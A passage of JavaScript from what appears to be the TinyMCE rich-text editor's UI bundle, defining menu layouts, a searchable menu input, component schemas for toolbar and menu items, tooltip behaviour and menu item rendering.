        return 'tox-menu';
      }
    };
    const classes = presets => ({
      backgroundMenu: 'tox-background-menu',
      selectedMenu: 'tox-selected-menu',
      selectedItem: 'tox-collection__item--active',
      hasIcons: 'tox-menu--has-icons',
      menu: forMenu(presets),
      tieredMenu: 'tox-tiered-menu'
    });

    const markers = presets => {
      const menuClasses = classes(presets);
      return {
        backgroundMenu: menuClasses.backgroundMenu,
        selectedMenu: menuClasses.selectedMenu,
        menu: menuClasses.menu,
        selectedItem: menuClasses.selectedItem,
        item: classForPreset(presets)
      };
    };
    const dom$1 = (hasIcons, columns, presets) => {
      const menuClasses = classes(presets);
      return {
        tag: 'div',
        classes: flatten([
          [
            menuClasses.menu,
            `tox-menu-${ columns }-column`
          ],
          hasIcons ? [menuClasses.hasIcons] : []
        ])
      };
    };
    const components = [Menu.parts.items({})];
    const part = (hasIcons, columns, presets) => {
      const menuClasses = classes(presets);
      const d = {
        tag: 'div',
        classes: flatten([[menuClasses.tieredMenu]])
      };
      return {
        dom: d,
        markers: markers(presets)
      };
    };

    const schema$l = constant$1([
      option$3('data'),
      defaulted('inputAttributes', {}),
      defaulted('inputStyles', {}),
      defaulted('tag', 'input'),
      defaulted('inputClasses', []),
      onHandler('onSetValue'),
      defaulted('styles', {}),
      defaulted('eventOrder', {}),
      field('inputBehaviours', [
        Representing,
        Focusing
      ]),
      defaulted('selectOnFocus', true)
    ]);
    const focusBehaviours = detail => derive$1([Focusing.config({
        onFocus: !detail.selectOnFocus ? noop : component => {
          const input = component.element;
          const value = get$6(input);
          input.dom.setSelectionRange(0, value.length);
        }
      })]);
    const behaviours = detail => ({
      ...focusBehaviours(detail),
      ...augment(detail.inputBehaviours, [Representing.config({
          store: {
            mode: 'manual',
            ...detail.data.map(data => ({ initialValue: data })).getOr({}),
            getValue: input => {
              return get$6(input.element);
            },
            setValue: (input, data) => {
              const current = get$6(input.element);
              if (current !== data) {
                set$5(input.element, data);
              }
            }
          },
          onSetValue: detail.onSetValue
        })])
    });
    const dom = detail => ({
      tag: detail.tag,
      attributes: {
        type: 'text',
        ...detail.inputAttributes
      },
      styles: detail.inputStyles,
      classes: detail.inputClasses
    });

    const factory$l = (detail, _spec) => ({
      uid: detail.uid,
      dom: dom(detail),
      components: [],
      behaviours: behaviours(detail),
      eventOrder: detail.eventOrder
    });
    const Input = single({
      name: 'Input',
      configFields: schema$l(),
      factory: factory$l
    });

    const refetchTriggerEvent = generate$6('refetch-trigger-event');
    const redirectMenuItemInteractionEvent = generate$6('redirect-menu-item-interaction');

    const menuSearcherClass = 'tox-menu__searcher';
    const findWithinSandbox = sandboxComp => {
      return descendant(sandboxComp.element, `.${ menuSearcherClass }`).bind(inputElem => sandboxComp.getSystem().getByDom(inputElem).toOptional());
    };
    const findWithinMenu = findWithinSandbox;
    const restoreState = (inputComp, searcherState) => {
      Representing.setValue(inputComp, searcherState.fetchPattern);
      inputComp.element.dom.selectionStart = searcherState.selectionStart;
      inputComp.element.dom.selectionEnd = searcherState.selectionEnd;
    };
    const saveState = inputComp => {
      const fetchPattern = Representing.getValue(inputComp);
      const selectionStart = inputComp.element.dom.selectionStart;
      const selectionEnd = inputComp.element.dom.selectionEnd;
      return {
        fetchPattern,
        selectionStart,
        selectionEnd
      };
    };
    const setActiveDescendant = (inputComp, active) => {
      getOpt(active.element, 'id').each(id => set$9(inputComp.element, 'aria-activedescendant', id));
    };
    const renderMenuSearcher = spec => {
      const handleByBrowser = (comp, se) => {
        se.cut();
        return Optional.none();
      };
      const handleByHighlightedItem = (comp, se) => {
        const eventData = {
          interactionEvent: se.event,
          eventType: se.event.raw.type
        };
        emitWith(comp, redirectMenuItemInteractionEvent, eventData);
        return Optional.some(true);
      };
      const customSearcherEventsName = 'searcher-events';
      return {
        dom: {
          tag: 'div',
          classes: [selectableClass]
        },
        components: [Input.sketch({
            inputClasses: [
              menuSearcherClass,
              'tox-textfield'
            ],
            inputAttributes: {
              ...spec.placeholder.map(placeholder => ({ placeholder: spec.i18n(placeholder) })).getOr({}),
              'type': 'search',
              'aria-autocomplete': 'list'
            },
            inputBehaviours: derive$1([
              config(customSearcherEventsName, [
                run$1(input(), inputComp => {
                  emit(inputComp, refetchTriggerEvent);
                }),
                run$1(keydown(), (inputComp, se) => {
                  if (se.event.raw.key === 'Escape') {
                    se.stop();
                  }
                })
              ]),
              Keying.config({
                mode: 'special',
                onLeft: handleByBrowser,
                onRight: handleByBrowser,
                onSpace: handleByBrowser,
                onEnter: handleByHighlightedItem,
                onEscape: handleByHighlightedItem,
                onUp: handleByHighlightedItem,
                onDown: handleByHighlightedItem
              })
            ]),
            eventOrder: {
              keydown: [
                customSearcherEventsName,
                Keying.name()
              ]
            }
          })]
      };
    };

    const searchResultsClass = 'tox-collection--results__js';
    const augmentWithAria = item => {
      var _a;
      if (item.dom) {
        return {
          ...item,
          dom: {
            ...item.dom,
            attributes: {
              ...(_a = item.dom.attributes) !== null && _a !== void 0 ? _a : {},
              'id': generate$6('aria-item-search-result-id'),
              'aria-selected': 'false'
            }
          }
        };
      } else {
        return item;
      }
    };

    const chunk = (rowDom, numColumns) => items => {
      const chunks = chunk$1(items, numColumns);
      return map$2(chunks, c => ({
        dom: rowDom,
        components: c
      }));
    };
    const forSwatch = columns => ({
      dom: {
        tag: 'div',
        classes: [
          'tox-menu',
          'tox-swatches-menu'
        ]
      },
      components: [{
          dom: {
            tag: 'div',
            classes: ['tox-swatches']
          },
          components: [Menu.parts.items({
              preprocess: columns !== 'auto' ? chunk({
                tag: 'div',
                classes: ['tox-swatches__row']
              }, columns) : identity
            })]
        }]
    });
    const forToolbar = columns => ({
      dom: {
        tag: 'div',
        classes: [
          'tox-menu',
          'tox-collection',
          'tox-collection--toolbar',
          'tox-collection--toolbar-lg'
        ]
      },
      components: [Menu.parts.items({
          preprocess: chunk({
            tag: 'div',
            classes: ['tox-collection__group']
          }, columns)
        })]
    });
    const preprocessCollection = (items, isSeparator) => {
      const allSplits = [];
      let currentSplit = [];
      each$1(items, (item, i) => {
        if (isSeparator(item, i)) {
          if (currentSplit.length > 0) {
            allSplits.push(currentSplit);
          }
          currentSplit = [];
          if (has$2(item.dom, 'innerHtml') || item.components && item.components.length > 0) {
            currentSplit.push(item);
          }
        } else {
          currentSplit.push(item);
        }
      });
      if (currentSplit.length > 0) {
        allSplits.push(currentSplit);
      }
      return map$2(allSplits, s => ({
        dom: {
          tag: 'div',
          classes: ['tox-collection__group']
        },
        components: s
      }));
    };
    const insertItemsPlaceholder = (columns, initItems, onItem) => {
      return Menu.parts.items({
        preprocess: rawItems => {
          const enrichedItems = map$2(rawItems, onItem);
          if (columns !== 'auto' && columns > 1) {
            return chunk({
              tag: 'div',
              classes: ['tox-collection__group']
            }, columns)(enrichedItems);
          } else {
            return preprocessCollection(enrichedItems, (_item, i) => initItems[i].type === 'separator');
          }
        }
      });
    };
    const forCollection = (columns, initItems, _hasIcons = true) => ({
      dom: {
        tag: 'div',
        classes: [
          'tox-menu',
          'tox-collection'
        ].concat(columns === 1 ? ['tox-collection--list'] : ['tox-collection--grid'])
      },
      components: [insertItemsPlaceholder(columns, initItems, identity)]
    });
    const forCollectionWithSearchResults = (columns, initItems, _hasIcons = true) => {
      const ariaControlsSearchResults = generate$6('aria-controls-search-results');
      return {
        dom: {
          tag: 'div',
          classes: [
            'tox-menu',
            'tox-collection',
            searchResultsClass
          ].concat(columns === 1 ? ['tox-collection--list'] : ['tox-collection--grid']),
          attributes: { id: ariaControlsSearchResults }
        },
        components: [insertItemsPlaceholder(columns, initItems, augmentWithAria)]
      };
    };
    const forCollectionWithSearchField = (columns, initItems, searchField) => {
      const ariaControlsSearchResults = generate$6('aria-controls-search-results');
      return {
        dom: {
          tag: 'div',
          classes: [
            'tox-menu',
            'tox-collection'
          ].concat(columns === 1 ? ['tox-collection--list'] : ['tox-collection--grid'])
        },
        components: [
          renderMenuSearcher({
            i18n: global$8.translate,
            placeholder: searchField.placeholder
          }),
          {
            dom: {
              tag: 'div',
              classes: [
                ...columns === 1 ? ['tox-collection--list'] : ['tox-collection--grid'],
                searchResultsClass
              ],
              attributes: { id: ariaControlsSearchResults }
            },
            components: [insertItemsPlaceholder(columns, initItems, augmentWithAria)]
          }
        ]
      };
    };
    const forHorizontalCollection = (initItems, _hasIcons = true) => ({
      dom: {
        tag: 'div',
        classes: [
          'tox-collection',
          'tox-collection--horizontal'
        ]
      },
      components: [Menu.parts.items({ preprocess: items => preprocessCollection(items, (_item, i) => initItems[i].type === 'separator') })]
    });

    const menuHasIcons = xs => exists(xs, item => 'icon' in item && item.icon !== undefined);
    const handleError = error => {
      console.error(formatError(error));
      console.log(error);
      return Optional.none();
    };
    const createHorizontalPartialMenuWithAlloyItems = (value, _hasIcons, items, _columns, _menuLayout) => {
      const structure = forHorizontalCollection(items);
      return {
        value,
        dom: structure.dom,
        components: structure.components,
        items
      };
    };
    const createPartialMenuWithAlloyItems = (value, hasIcons, items, columns, menuLayout) => {
      const getNormalStructure = () => {
        if (menuLayout.menuType !== 'searchable') {
          return forCollection(columns, items);
        } else {
          return menuLayout.searchMode.searchMode === 'search-with-field' ? forCollectionWithSearchField(columns, items, menuLayout.searchMode) : forCollectionWithSearchResults(columns, items);
        }
      };
      if (menuLayout.menuType === 'color') {
        const structure = forSwatch(columns);
        return {
          value,
          dom: structure.dom,
          components: structure.components,
          items
        };
      } else if (menuLayout.menuType === 'normal' && columns === 'auto') {
        const structure = forCollection(columns, items);
        return {
          value,
          dom: structure.dom,
          components: structure.components,
          items
        };
      } else if (menuLayout.menuType === 'normal' || menuLayout.menuType === 'searchable') {
        const structure = getNormalStructure();
        return {
          value,
          dom: structure.dom,
          components: structure.components,
          items
        };
      } else if (menuLayout.menuType === 'listpreview' && columns !== 'auto') {
        const structure = forToolbar(columns);
        return {
          value,
          dom: structure.dom,
          components: structure.components,
          items
        };
      } else {
        return {
          value,
          dom: dom$1(hasIcons, columns, menuLayout.menuType),
          components: components,
          items
        };
      }
    };

    const type = requiredString('type');
    const name$1 = requiredString('name');
    const label = requiredString('label');
    const text$1 = requiredString('text');
    const title = requiredString('title');
    const icon = requiredString('icon');
    const value$1 = requiredString('value');
    const fetch$1 = requiredFunction('fetch');
    const getSubmenuItems = requiredFunction('getSubmenuItems');
    const onAction = requiredFunction('onAction');
    const onItemAction = requiredFunction('onItemAction');
    const onSetup = defaultedFunction('onSetup', () => noop);
    const optionalName = optionString('name');
    const optionalText = optionString('text');
    const optionalIcon = optionString('icon');
    const optionalTooltip = optionString('tooltip');
    const optionalLabel = optionString('label');
    const optionalShortcut = optionString('shortcut');
    const optionalSelect = optionFunction('select');
    const active = defaultedBoolean('active', false);
    const borderless = defaultedBoolean('borderless', false);
    const enabled = defaultedBoolean('enabled', true);
    const primary = defaultedBoolean('primary', false);
    const defaultedColumns = num => defaulted('columns', num);
    const defaultedMeta = defaulted('meta', {});
    const defaultedOnAction = defaultedFunction('onAction', noop);
    const defaultedType = type => defaultedString('type', type);
    const generatedName = namePrefix => field$1('name', 'name', defaultedThunk(() => generate$6(`${ namePrefix }-name`)), string);
    const generatedValue = valuePrefix => field$1('value', 'value', defaultedThunk(() => generate$6(`${ valuePrefix }-value`)), anyValue());

    const separatorMenuItemSchema = objOf([
      type,
      optionalText
    ]);
    const createSeparatorMenuItem = spec => asRaw('separatormenuitem', separatorMenuItemSchema, spec);

    const autocompleterItemSchema = objOf([
      defaultedType('autocompleteitem'),
      active,
      enabled,
      defaultedMeta,
      value$1,
      optionalText,
      optionalIcon
    ]);
    const createSeparatorItem = spec => asRaw('Autocompleter.Separator', separatorMenuItemSchema, spec);
    const createAutocompleterItem = spec => asRaw('Autocompleter.Item', autocompleterItemSchema, spec);

    const baseToolbarButtonFields = [
      enabled,
      optionalTooltip,
      optionalIcon,
      optionalText,
      onSetup
    ];
    const toolbarButtonSchema = objOf([
      type,
      onAction
    ].concat(baseToolbarButtonFields));
    const createToolbarButton = spec => asRaw('toolbarbutton', toolbarButtonSchema, spec);

    const baseToolbarToggleButtonFields = [active].concat(baseToolbarButtonFields);
    const toggleButtonSchema = objOf(baseToolbarToggleButtonFields.concat([
      type,
      onAction
    ]));
    const createToggleButton = spec => asRaw('ToggleButton', toggleButtonSchema, spec);

    const contextBarFields = [
      defaultedFunction('predicate', never),
      defaultedStringEnum('scope', 'node', [
        'node',
        'editor'
      ]),
      defaultedStringEnum('position', 'selection', [
        'node',
        'selection',
        'line'
      ])
    ];

    const contextButtonFields = baseToolbarButtonFields.concat([
      defaultedType('contextformbutton'),
      primary,
      onAction,
      customField('original', identity)
    ]);
    const contextToggleButtonFields = baseToolbarToggleButtonFields.concat([
      defaultedType('contextformbutton'),
      primary,
      onAction,
      customField('original', identity)
    ]);
    const launchButtonFields = baseToolbarButtonFields.concat([defaultedType('contextformbutton')]);
    const launchToggleButtonFields = baseToolbarToggleButtonFields.concat([defaultedType('contextformtogglebutton')]);
    const toggleOrNormal = choose$1('type', {
      contextformbutton: contextButtonFields,
      contextformtogglebutton: contextToggleButtonFields
    });
    const contextFormSchema = objOf([
      defaultedType('contextform'),
      defaultedFunction('initValue', constant$1('')),
      optionalLabel,
      requiredArrayOf('commands', toggleOrNormal),
      optionOf('launch', choose$1('type', {
        contextformbutton: launchButtonFields,
        contextformtogglebutton: launchToggleButtonFields
      }))
    ].concat(contextBarFields));
    const createContextForm = spec => asRaw('ContextForm', contextFormSchema, spec);

    const contextToolbarSchema = objOf([
      defaultedType('contexttoolbar'),
      requiredString('items')
    ].concat(contextBarFields));
    const createContextToolbar = spec => asRaw('ContextToolbar', contextToolbarSchema, spec);

    const cardImageFields = [
      type,
      requiredString('src'),
      optionString('alt'),
      defaultedArrayOf('classes', [], string)
    ];
    const cardImageSchema = objOf(cardImageFields);

    const cardTextFields = [
      type,
      text$1,
      optionalName,
      defaultedArrayOf('classes', ['tox-collection__item-label'], string)
    ];
    const cardTextSchema = objOf(cardTextFields);

    const itemSchema$1 = valueThunk(() => choose$2('type', {
      cardimage: cardImageSchema,
      cardtext: cardTextSchema,
      cardcontainer: cardContainerSchema
    }));
    const cardContainerSchema = objOf([
      type,
      defaultedString('direction', 'horizontal'),
      defaultedString('align', 'left'),
      defaultedString('valign', 'middle'),
      requiredArrayOf('items', itemSchema$1)
    ]);

    const commonMenuItemFields = [
      enabled,
      optionalText,
      optionalShortcut,
      generatedValue('menuitem'),
      defaultedMeta
    ];

    const cardMenuItemSchema = objOf([
      type,
      optionalLabel,
      requiredArrayOf('items', itemSchema$1),
      onSetup,
      defaultedOnAction
    ].concat(commonMenuItemFields));
    const createCardMenuItem = spec => asRaw('cardmenuitem', cardMenuItemSchema, spec);

    const choiceMenuItemSchema = objOf([
      type,
      active,
      optionalIcon
    ].concat(commonMenuItemFields));
    const createChoiceMenuItem = spec => asRaw('choicemenuitem', choiceMenuItemSchema, spec);

    const baseFields = [
      type,
      requiredString('fancytype'),
      defaultedOnAction
    ];
    const insertTableFields = [defaulted('initData', {})].concat(baseFields);
    const colorSwatchFields = [defaultedObjOf('initData', {}, [
        defaultedBoolean('allowCustomColors', true),
        defaultedString('storageKey', 'default'),
        optionArrayOf('colors', anyValue())
      ])].concat(baseFields);
    const fancyMenuItemSchema = choose$1('fancytype', {
      inserttable: insertTableFields,
      colorswatch: colorSwatchFields
    });
    const createFancyMenuItem = spec => asRaw('fancymenuitem', fancyMenuItemSchema, spec);

    const menuItemSchema = objOf([
      type,
      onSetup,
      defaultedOnAction,
      optionalIcon
    ].concat(commonMenuItemFields));
    const createMenuItem = spec => asRaw('menuitem', menuItemSchema, spec);

    const nestedMenuItemSchema = objOf([
      type,
      getSubmenuItems,
      onSetup,
      optionalIcon
    ].concat(commonMenuItemFields));
    const createNestedMenuItem = spec => asRaw('nestedmenuitem', nestedMenuItemSchema, spec);

    const toggleMenuItemSchema = objOf([
      type,
      optionalIcon,
      active,
      onSetup,
      onAction
    ].concat(commonMenuItemFields));
    const createToggleMenuItem = spec => asRaw('togglemenuitem', toggleMenuItemSchema, spec);

    const detectSize = (comp, margin, selectorClass) => {
      const descendants$1 = descendants(comp.element, '.' + selectorClass);
      if (descendants$1.length > 0) {
        const columnLength = findIndex$1(descendants$1, c => {
          const thisTop = c.dom.getBoundingClientRect().top;
          const cTop = descendants$1[0].dom.getBoundingClientRect().top;
          return Math.abs(thisTop - cTop) > margin;
        }).getOr(descendants$1.length);
        return Optional.some({
          numColumns: columnLength,
          numRows: Math.ceil(descendants$1.length / columnLength)
        });
      } else {
        return Optional.none();
      }
    };

    const namedEvents = (name, handlers) => derive$1([config(name, handlers)]);
    const unnamedEvents = handlers => namedEvents(generate$6('unnamed-events'), handlers);
    const SimpleBehaviours = {
      namedEvents,
      unnamedEvents
    };

    const ExclusivityChannel = generate$6('tooltip.exclusive');
    const ShowTooltipEvent = generate$6('tooltip.show');
    const HideTooltipEvent = generate$6('tooltip.hide');

    const hideAllExclusive = (component, _tConfig, _tState) => {
      component.getSystem().broadcastOn([ExclusivityChannel], {});
    };
    const setComponents = (component, tConfig, tState, specs) => {
      tState.getTooltip().each(tooltip => {
        if (tooltip.getSystem().isConnected()) {
          Replacing.set(tooltip, specs);
        }
      });
    };

    var TooltippingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        hideAllExclusive: hideAllExclusive,
        setComponents: setComponents
    });

    const events$9 = (tooltipConfig, state) => {
      const hide = comp => {
        state.getTooltip().each(p => {
          detach(p);
          tooltipConfig.onHide(comp, p);
          state.clearTooltip();
        });
        state.clearTimer();
      };
      const show = comp => {
        if (!state.isShowing()) {
          hideAllExclusive(comp);
          const sink = tooltipConfig.lazySink(comp).getOrDie();
          const popup = comp.getSystem().build({
            dom: tooltipConfig.tooltipDom,
            components: tooltipConfig.tooltipComponents,
            events: derive$2(tooltipConfig.mode === 'normal' ? [
              run$1(mouseover(), _ => {
                emit(comp, ShowTooltipEvent);
              }),
              run$1(mouseout(), _ => {
                emit(comp, HideTooltipEvent);
              })
            ] : []),
            behaviours: derive$1([Replacing.config({})])
          });
          state.setTooltip(popup);
          attach(sink, popup);
          tooltipConfig.onShow(comp, popup);
          Positioning.position(sink, popup, { anchor: tooltipConfig.anchor(comp) });
        }
      };
      return derive$2(flatten([
        [
          run$1(ShowTooltipEvent, comp => {
            state.resetTimer(() => {
              show(comp);
            }, tooltipConfig.delay);
          }),
          run$1(HideTooltipEvent, comp => {
            state.resetTimer(() => {
              hide(comp);
            }, tooltipConfig.delay);
          }),
          run$1(receive(), (comp, message) => {
            const receivingData = message;
            if (!receivingData.universal) {
              if (contains$2(receivingData.channels, ExclusivityChannel)) {
                hide(comp);
              }
            }
          }),
          runOnDetached(comp => {
            hide(comp);
          })
        ],
        tooltipConfig.mode === 'normal' ? [
          run$1(focusin(), comp => {
            emit(comp, ShowTooltipEvent);
          }),
          run$1(postBlur(), comp => {
            emit(comp, HideTooltipEvent);
          }),
          run$1(mouseover(), comp => {
            emit(comp, ShowTooltipEvent);
          }),
          run$1(mouseout(), comp => {
            emit(comp, HideTooltipEvent);
          })
        ] : [
          run$1(highlight$1(), (comp, _se) => {
            emit(comp, ShowTooltipEvent);
          }),
          run$1(dehighlight$1(), comp => {
            emit(comp, HideTooltipEvent);
          })
        ]
      ]));
    };

    var ActiveTooltipping = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$9
    });

    var TooltippingSchema = [
      required$1('lazySink'),
      required$1('tooltipDom'),
      defaulted('exclusive', true),
      defaulted('tooltipComponents', []),
      defaulted('delay', 300),
      defaultedStringEnum('mode', 'normal', [
        'normal',
        'follow-highlight'
      ]),
      defaulted('anchor', comp => ({
        type: 'hotspot',
        hotspot: comp,
        layouts: {
          onLtr: constant$1([
            south$2,
            north$2,
            southeast$2,
            northeast$2,
            southwest$2,
            northwest$2
          ]),
          onRtl: constant$1([
            south$2,
            north$2,
            southeast$2,
            northeast$2,
            southwest$2,
            northwest$2
          ])
        }
      })),
      onHandler('onHide'),
      onHandler('onShow')
    ];

    const init$b = () => {
      const timer = value$2();
      const popup = value$2();
      const clearTimer = () => {
        timer.on(clearTimeout);
      };
      const resetTimer = (f, delay) => {
        clearTimer();
        timer.set(setTimeout(f, delay));
      };
      const readState = constant$1('not-implemented');
      return nu$8({
        getTooltip: popup.get,
        isShowing: popup.isSet,
        setTooltip: popup.set,
        clearTooltip: popup.clear,
        clearTimer,
        resetTimer,
        readState
      });
    };

    var TooltippingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$b
    });

    const Tooltipping = create$4({
      fields: TooltippingSchema,
      name: 'tooltipping',
      active: ActiveTooltipping,
      state: TooltippingState,
      apis: TooltippingApis
    });

    const escape = text => text.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');

    const ReadOnlyChannel = 'silver.readonly';
    const ReadOnlyDataSchema = objOf([requiredBoolean('readonly')]);
    const broadcastReadonly = (uiRefs, readonly) => {
      const outerContainer = uiRefs.mainUi.outerContainer;
      const target = outerContainer.element;
      const motherships = [
        uiRefs.mainUi.mothership,
        ...uiRefs.uiMotherships
      ];
      if (readonly) {
        each$1(motherships, m => {
          m.broadcastOn([dismissPopups()], { target });
        });
      }
      each$1(motherships, m => {
        m.broadcastOn([ReadOnlyChannel], { readonly });
      });
    };
    const setupReadonlyModeSwitch = (editor, uiRefs) => {
      editor.on('init', () => {
        if (editor.mode.isReadOnly()) {
          broadcastReadonly(uiRefs, true);
        }
      });
      editor.on('SwitchMode', () => broadcastReadonly(uiRefs, editor.mode.isReadOnly()));
      if (isReadOnly(editor)) {
        editor.mode.set('readonly');
      }
    };
    const receivingConfig = () => Receiving.config({
      channels: {
        [ReadOnlyChannel]: {
          schema: ReadOnlyDataSchema,
          onReceive: (comp, data) => {
            Disabling.set(comp, data.readonly);
          }
        }
      }
    });

    const item = disabled => Disabling.config({
      disabled,
      disableClass: 'tox-collection__item--state-disabled'
    });
    const button = disabled => Disabling.config({ disabled });
    const splitButton = disabled => Disabling.config({
      disabled,
      disableClass: 'tox-tbtn--disabled'
    });
    const toolbarButton = disabled => Disabling.config({
      disabled,
      disableClass: 'tox-tbtn--disabled',
      useNative: false
    });
    const DisablingConfigs = {
      item,
      button,
      splitButton,
      toolbarButton
    };

    const runWithApi = (info, comp) => {
      const api = info.getApi(comp);
      return f => {
        f(api);
      };
    };
    const onControlAttached = (info, editorOffCell) => runOnAttached(comp => {
      const run = runWithApi(info, comp);
      run(api => {
        const onDestroy = info.onSetup(api);
        if (isFunction(onDestroy)) {
          editorOffCell.set(onDestroy);
        }
      });
    });
    const onControlDetached = (getApi, editorOffCell) => runOnDetached(comp => runWithApi(getApi, comp)(editorOffCell.get()));

    const onMenuItemExecute = (info, itemResponse) => runOnExecute$1((comp, simulatedEvent) => {
      runWithApi(info, comp)(info.onAction);
      if (!info.triggersSubmenu && itemResponse === ItemResponse$1.CLOSE_ON_EXECUTE) {
        if (comp.getSystem().isConnected()) {
          emit(comp, sandboxClose());
        }
        simulatedEvent.stop();
      }
    });
    const menuItemEventOrder = {
      [execute$5()]: [
        'disabling',
        'alloy.base.behaviour',
        'toggling',
        'item-events'
      ]
    };

    const componentRenderPipeline = cat;
    const renderCommonItem = (spec, structure, itemResponse, providersBackstage) => {
      const editorOffCell = Cell(noop);
      return {
        type: 'item',
        dom: structure.dom,
        components: componentRenderPipeline(structure.optComponents),
        data: spec.data,
        eventOrder: menuItemEventOrder,
        hasSubmenu: spec.triggersSubmenu,
        itemBehaviours: derive$1([
          config('item-events', [
            onMenuItemExecute(spec, itemResponse),
            onControlAttached(spec, editorOffCell),
            onControlDetached(spec, editorOffCell)
          ]),
          DisablingConfigs.item(() => !spec.enabled || providersBackstage.isDisabled()),
          receivingConfig(),
          Replacing.config({})
        ].concat(spec.itemBehaviours))
      };
    };
    const buildData = source => ({
      value: source.value,
      meta: {
        text: source.text.getOr(''),
        ...source.meta
      }
    });

    const convertText = source => {
      const isMac = global$5.os.isMacOS() || global$5.os.isiOS();
      const mac = {
        alt: '\u2325',
        ctrl: '\u2303',
        shift: '\u21E7',
        meta: '\u2318',
        access: '\u2303\u2325'
      };
      const other = {
        meta: 'Ctrl',
        access: 'Shift+Alt'
      };
      const replace = isMac ? mac : other;
      const shortcut = source.split('+');
      const updated = map$2(shortcut, segment => {
        const search = segment.toLowerCase().trim();
        return has$2(replace, search) ? replace[search] : segment;
      });
      return isMac ? updated.join('') : updated.join('+');
    };

    const renderIcon$1 = (name, icons, classes = [iconClass]) => render$3(name, {
      tag: 'div',
      classes
    }, icons);
    const renderText = text => ({
      dom: {
        tag: 'div',
        classes: [textClass]
      },
      components: [text$2(global$8.translate(text))]
    });
    const renderHtml = (html, classes) => ({
      dom: {
        tag: 'div',
        classes,
        innerHtml: html
      }
    });
    const renderStyledText = (style, text) => ({
      dom: {
        tag: 'div',
        classes: [textClass]
      },
      components: [{
          dom: {
            tag: style.tag,
            styles: style.styles
          },
          components: [text$2(global$8.translate(text))]
        }]
    });
    const renderShortcut = shortcut => ({
      dom: {
        tag: 'div',
        classes: [accessoryClass]
      },
      components: [text$2(convertText(shortcut))]
    });
    const renderCheckmark = icons => renderIcon$1('checkmark', icons, [checkmarkClass]);
    const renderSubmenuCaret = icons => renderIcon$1('chevron-right', icons, [caretClass]);
    const renderDownwardsCaret = icons => renderIcon$1('chevron-down', icons, [caretClass]);
    const renderContainer = (container, components) => {
      const directionClass = container.direction === 'vertical' ? containerColumnClass : containerRowClass;
      const alignClass = container.align === 'left' ? containerAlignLeftClass : containerAlignRightClass;
      const getValignClass = () => {
        switch (container.valign) {
        case 'top':
          return containerValignTopClass;
        case 'middle':
          return containerValignMiddleClass;
        case 'bottom':
          return containerValignBottomClass;
        }
      };
      return {
        dom: {
          tag: 'div',
          classes: [
            containerClass,
            directionClass,
            alignClass,
            getValignClass()
          ]
        },
        components
      };
    };
    const renderImage = (src, classes, alt) => ({
      dom: {
        tag: 'img',
        classes,
        attributes: {
          src,
          alt: alt.getOr('')
        }
      }
    });

    const renderColorStructure = (item, providerBackstage, fallbackIcon) => {
      const colorPickerCommand = 'custom';
      const removeColorCommand = 'remove';
      const itemText = item.ariaLabel;
      const itemValue = item.value;
      const iconSvg = item.iconContent.map(name => getOr(name, providerBackstage.icons, fallbackIcon));
      const getDom = () => {
        const common = colorClass;
        const icon = iconSvg.getOr('');
        const attributes = itemText.map(text => ({ title: providerBackstage.translate(text) })).getOr({});
        const baseDom = {
          tag: 'div',
          attributes,
          classes: [common]
        };
        if (itemValue === colorPickerCommand) {
          return {
            ...baseDom,
            tag: 'button',
            classes: [
              ...baseDom.classes,
              'tox-swatches__picker-btn'
            ],
            innerHtml: icon
          };
        } else if (itemValue === removeColorCommand) {
          return {
            ...baseDom,
            classes: [
              ...baseDom.classes,
              'tox-swatch--remove'
            ],
            innerHtml: icon
          };
        } else if (isNonNullable(itemValue)) {
          return {
            ...baseDom,
            attributes: {
              ...baseDom.attributes,
              'data-mce-color': itemValue
            },
            styles: { 'background-color': itemValue },
            innerHtml: icon
          };
        } else {
          return baseDom;
        }
      };
      return {
        dom: getDom(),
        optComponents: []
      };
    };
    const renderItemDomStructure = ariaLabel => {
      const domTitle = ariaLabel.map(label => ({ attributes: { title: global$8.translate(label) } })).getOr({});
      return {
        tag: 'div',
        classes: [
          navClass,
          selectableClass
        ],
        ...domTitle
      };
    };
    const renderNormalItemStructure = (info, providersBackstage, renderIcons, fallbackIcon) => {
      const iconSpec = {
        tag: 'div',
        classes: [iconClass]
      };
      const renderIcon = iconName => render$3(iconName, iconSpec, providersBackstage.icons, fallbackIcon);
      const renderEmptyIcon = () => Optional.some({ dom: iconSpec });
      const leftIcon = renderIcons ? info.iconContent.map(renderIcon).orThunk(renderEmptyIcon) : Optional.none();
      const checkmark = info.checkMark;
      const textRender = Optional.from(info.meta).fold(() => renderText, meta => has$2(meta, 'style') ? curry(renderStyledText, meta.style) : renderText);
      const content = info.htmlContent.fold(() => info.textContent.map(textRender), html => Optional.some(renderHtml(html, [textClass])));
      const menuItem = {
        dom: renderItemDomStructure(info.ariaLabel),
        optComponents: [
          leftIcon,
          content,
          info.shortcutContent.map(renderShortcut),
          checkmark,
          info.caret
        ]
      };
      return menuItem;
    };
    const renderItemStructure = (info, providersBackstage, renderIcons, fallbackIcon = Optional.none()) => {
      if (info.presets === 'color') {
        return renderColorStructure(info, providersBackstage, fallbackIcon);
      } else {
        return renderNormalItemStructure(info, providersBackstage, renderIcons, fallbackIcon);
      }
    };

    const tooltipBehaviour = (meta, sharedBackstage) => get$g(meta, 'tooltipWorker').map(tooltipWorker => [Tooltipping.config({
        lazySink: sharedBackstage.getSink,
        tooltipDom: {
          tag: 'div',
          classes: ['tox-tooltip-worker-container']
        },
        tooltipComponents: [],
        anchor: comp => ({
          type: 'submenu',
          item: comp,
          overrides: { maxHeightFunction: expandable$1 }
        }),
        mode: 'follow-highlight',
        onShow: (component, _tooltip) => {
          tooltipWorker(elm => {
            Tooltipping.setComponents(component, [external$1({ element: SugarElement.fromDom(elm) })]);
          });
        }
      })]).getOr([]);
    const encodeText = text => global$7.DOM.encode(text);
    const replaceText = (text, matchText) => {
      const translated = global$8.translate(text);
      const encoded = encodeText(translated);
      if (matchText.length > 0) {
        const escapedMatchRegex = new RegExp(escape(matchText), 'gi');
        return encoded.replace(escapedMatchRegex, match => `<span class="tox-autocompleter-highlight">${ match }</span>`);
      } else {
        return encoded;
      }
    };
    const renderAutocompleteItem = (spec, matchText, useText, presets, onItemValueHandler, itemResponse, sharedBackstage, renderIcons = true) => {
      const structure = renderItemStructure({
        presets,
        textContent: Optional.none(),
        htmlContent: useText ? spec.text.map(text => replaceText(text, matchText)) : Optional.none(),
        ariaLabel: spec.text,
        iconContent: spec.icon,
